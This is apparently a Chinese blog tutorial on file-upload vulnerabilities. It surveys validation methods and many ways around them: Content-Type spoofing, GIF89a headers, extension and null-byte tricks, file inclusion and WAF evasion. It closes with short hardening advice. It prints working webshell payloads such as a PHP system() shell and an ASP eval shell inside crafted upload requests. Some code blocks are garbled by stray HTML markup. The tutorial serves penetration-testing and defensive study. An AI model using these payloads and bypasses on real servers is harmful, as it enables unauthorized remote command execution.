1. 程式人生 > >檔案上傳漏洞(繞過姿勢)

檔案上傳漏洞(繞過姿勢)

  檔案上傳漏洞可以說是日常滲透測試用得最多的一個漏洞,因為用它獲得伺服器許可權最快最直接。但是想真正把這個漏洞利用好卻不那麼容易,其中有很多技巧,也有很多需要掌握的知識。俗話說,知己知彼方能百戰不殆,因此想要研究怎麼防護漏洞,就要了解怎麼去利用。此篇文章主要分三部分:總結一些常見的上傳檔案校驗方式,以及繞過校驗的各種姿勢,最後對此漏洞提幾點防護建議。(根據個人經驗總結,歡迎補充糾錯~~)

檔案上傳校驗姿勢

  • 客戶端javascript校驗(一般只校驗字尾名)
  • 服務端校驗
  • 檔案頭content-type欄位校驗(image/gif)
  • 檔案內容頭校驗(GIF89a)
  • 字尾名黑名單校驗
  • 字尾名白名單校驗
  • 自定義正則校驗
  • WAF裝置校驗(根據不同的WAF產品而定)
  • 1.客戶端校驗

      一般都是在網頁上寫一段javascript指令碼,校驗上傳檔案的字尾名,有白名單形式也有黑名單形式。
      判斷方式:在瀏覽載入檔案,但還未點選上傳按鈕時便彈出對話方塊,內容如:只允許上傳.jpg/.jpeg/.png字尾名的檔案,而此時並沒有傳送資料包。

    2.服務端校驗

    2.1 content-type欄位校驗

      這裡以PHP程式碼為例,模擬web伺服器端的校驗程式碼

    123456789101112131415
    <?php        if($_FILES</span>[<span class="string">'userfile'</span>][<span class="string">'type'</span>] != <span class="string">"image/gif"</span>)  <span class="comment">#這裡對上傳的檔案型別進行判斷,如果不是image/gif型別便返回錯誤。</span></div><div class="line">                {   </div><div class="line">                 <span class="built_in">echo</span> <span class="string">"Sorry, we only allow uploading GIF images"</span>;</div><div class="line">                 <span class="built_in">exit</span>;</div><div class="line">                 }</div><div class="line">         <span class="variable">$uploaddir
    = 'uploads/'; $uploadfile</span> = <span class="variable">$uploaddir . basename($_FILES</span>[<span class="string">'userfile'</span>][<span class="string">'name'</span>]);</div><div class="line"> <span class="keyword">if</span> (move_uploaded_file(<span class="variable">$_FILES
    ['userfile']['tmp_name'], $uploadfile)) { echo "File is valid, and was successfully uploaded.\n"; } else { echo "File uploading failed.\n"; } ?>

      可以看到程式碼對上傳檔案的檔案型別進行了判斷,如果不是圖片型別,返回錯誤。

    2.2 檔案頭校驗

      可以通過自己寫正則匹配,判斷檔案頭內容是否符合要求,這裡舉幾個常見的檔案頭對應關係:
    (1) .JPEG;.JPE;.JPG,”JPGGraphic File”
    (2) .gif,”GIF 89A”
    (3) .zip,”Zip Compressed”
    (4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

    檔案上傳繞過校驗姿勢

  • 客戶端繞過(抓包改包)
  • 服務端繞過
  • 檔案型別
  • 檔案頭
  • 檔案字尾名
  • 配合檔案包含漏洞繞過
  • 配合伺服器解析漏洞繞過
  • CMS、編輯器漏洞繞過
  • 配合作業系統檔案命名規則繞過
  • 配合其他規則繞過
  • WAF繞過
  • 1.客戶端繞過

      可以利用burp抓包改包,先上傳一個gif型別的木馬,然後通過burp將其改為asp/php/jsp字尾名即可。

    2.服務端繞過

    2.1 檔案型別繞過

      我們可以通過抓包,將content-type欄位改為image/gif

    123456789101112
    POST /upload.php HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form-data; boundary=xYzZYContent-Length: 155--xYzZYContent-Disposition: form-data; name="userfile"; filename="shell.php"Content-Type: image/gif (原為 Content-Type: text/plain)<?php system($_GET['command']);?>--xYzZY-
    2.2 檔案頭繞過

      在木馬內容基礎上再加了一些檔案資訊,有點像下面的結構
    GIF89a<?php phpinfo(); ?>

    2.3 檔案字尾名繞過

    前提:黑名單校驗
    黑名單檢測:一般有個專門的 blacklist 檔案,裡面會包含常見的危險指令碼檔案。
    繞過方法:
    (1)找黑名單副檔名的漏網之魚 - 比如 asa 和 cer 之類
    (2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
    能被解析的副檔名列表:
    jsp jspx jspf
    asp asa cer aspx
    php php php3 php4
    exe exee

    3.配合檔案包含漏洞

    前提:校驗規則只校驗當檔案字尾名為asp/php/jsp的檔案內容是否為木馬。
    繞過方式:(這裡拿php為例,此漏洞主要存在於PHP中)
    (1)先上傳一個內容為木馬的txt字尾檔案,因為字尾名的關係沒有檢驗內容;
    (2)然後再上傳一個.php的檔案,內容為<?php Include(“上傳的txt檔案路徑”);?>
    此時,這個php檔案就會去引用txt檔案的內容,從而繞過校驗,下面列舉包含的語法:

    12345678
    #PHP    <?php Include("上傳的txt檔案路徑");?> #ASP    <!--#include file="上傳的txt檔案路徑" -->#JSP    <jsp:inclde page="上傳的txt檔案路徑"/>or  <%@include file="上傳的txt檔案路徑"%>

    4.配合伺服器解析漏洞

    5.配合作業系統檔案命令規則

    (1)上傳不符合windows檔案命名規則的檔名
      test.asp.
      test.asp(空格)
      test.php:1.jpg
      test.php::DATA<br>shell.php::DATA…….
    會被windows系統自動去掉不符合規則符號後面的內容。
    (2)linux下字尾名大小寫
    在linux下,如果上傳php不被解析,可以試試上傳pHp字尾的檔名。

    6.CMS、編輯器漏洞

    (1)CMS漏洞:比如說JCMS等存在的漏洞,可以針對不同CMS存在的上傳漏洞進行繞過。
    (2)編輯器漏洞:比如FCK,ewebeditor等,可以針對編輯器的漏洞進行繞過。
    這兩方面的漏洞以後單獨成文彙總,這裡點到為止。

    7.配合其他規則

    (1)0x00截斷:基於一個組合邏輯漏洞造成的,通常存在於構造上傳檔案路徑的時候
      test.php(0x00).jpg
      test.php%00.jpg
      路徑/upload/1.php(0x00),檔名1.jpg,結合/upload/1.php(0x00)/1.jpg
    虛擬碼演示:

    12345
    name= getname(httprequest) //假如這時候獲取到的檔名是 help.asp.jpg(asp 後面為 0x00)type =gettype(name)        //而在 gettype()函式裡處理方式是從後往前掃描副檔名,所以判斷為 jpgif(type == jpg)   SaveFileToPath(UploadPath.name, name)   //但在這裡卻是以 0x00 作為檔名截斷//最後以 help.asp 存入路徑裡

    8.WAF繞過

    8.1 垃圾資料

      有些主機WAF軟體為了不影響web伺服器的效能,會對校驗的使用者資料設定大小上限,比如1M。此種情況可以構造一個大檔案,前面1M的內容為垃圾內容,後面才是真正的木馬內容,便可以繞過WAF對檔案內容的校驗;

    當然也可以將垃圾資料放在資料包最開頭,這樣便可以繞過對檔名的校驗。

    可以將垃圾資料加上Content-Disposition引數後面,引數內容過長,可能會導致waf檢測出錯。

    8.2 filename

    針對早期版本安全狗,可以多加一個filename

    或者將filename換位置,在IIS6.0下如果我們換一種書寫方式,把filename放在其他地方:

    8.3 POST/GET

    有些WAF的規則是:如果資料包為POST型別,則校驗資料包內容。
    此種情況可以上傳一個POST型的資料包,抓包將POST改為GET。

    8.4 以上方式

    針對WAF,以上介紹的伺服器解析漏洞、檔案包含漏洞等都可以嘗試繞過。

    ————————————————2017.2.6更新————————————————–

    8.5 利用waf本身缺陷
    刪除實體裡面的Conten-Type欄位


    第一種是刪除Content整行,第二種是刪除C後面的字元。刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面即可,但是要注意額,雙引號要跟著c.php。

    123
    正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png構造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.pngC.php"
    刪除Content-Disposition欄位裡的空格


    增加一個空格導致安全狗被繞過案列:
    Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
    嘗試在boundary後面加個空格或者其他可被正常處理的字元:
    boundary= —————————47146314211411730218525550

    修改Content-Disposition欄位值的大小寫

    Boundary邊界不一致

    每次檔案上傳時的Boundary邊界都是一致的:

    12345678
    Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099Content-Length: 253-----------------------------4714631421141173021852555099Content-Disposition: form-data; name="file1"; filename="shell.asp"Content-Type: application/octet-stream<%eval request("a")%>-----------------------------4714631421141173021852555099--

    但如果容器在處理的過程中並沒有嚴格要求一致的話可能會導致一個問題,兩段Boundary不一致使得waf認為這段資料是無意義的,可是容器並沒有那麼嚴謹:
    Win2k3 + IIS6.0 + ASP

    檔名處回車

    多個Content-Disposition

    在IIS的環境下,上傳檔案時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收引數,而如果waf只是取最後一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

    利用NTFS ADS特性

    ADS是NTFS磁碟格式的一個特性,用於NTFS交換資料流。在上傳檔案時,如果waf對請求正文的filename匹配不當的話可能會導致繞過。

    其他情況補充

    檔案重新命名繞過

    如果web程式會將filename除了副檔名的那段重新命名的話,那麼還可以構造更多的點、符號等等。

    特殊的長檔名繞過

    檔名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:
    shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

    反刪除

    將下圖file1改成了file4,這樣就不會把這個檔案刪除了。(JCMS漏洞)

    檔案校驗的幾點建議

  • 副檔名服務端白名單校驗。
  • 檔案內容服務端校驗。
  • 上傳檔案重新命名。
  • 隱藏上傳檔案路徑。
  •   以上幾點,可以防禦絕大多數上傳漏洞,但是需要跟伺服器容器結合起來。如果解析漏洞依然存在,那麼沒有絕對的安全。

    傳送門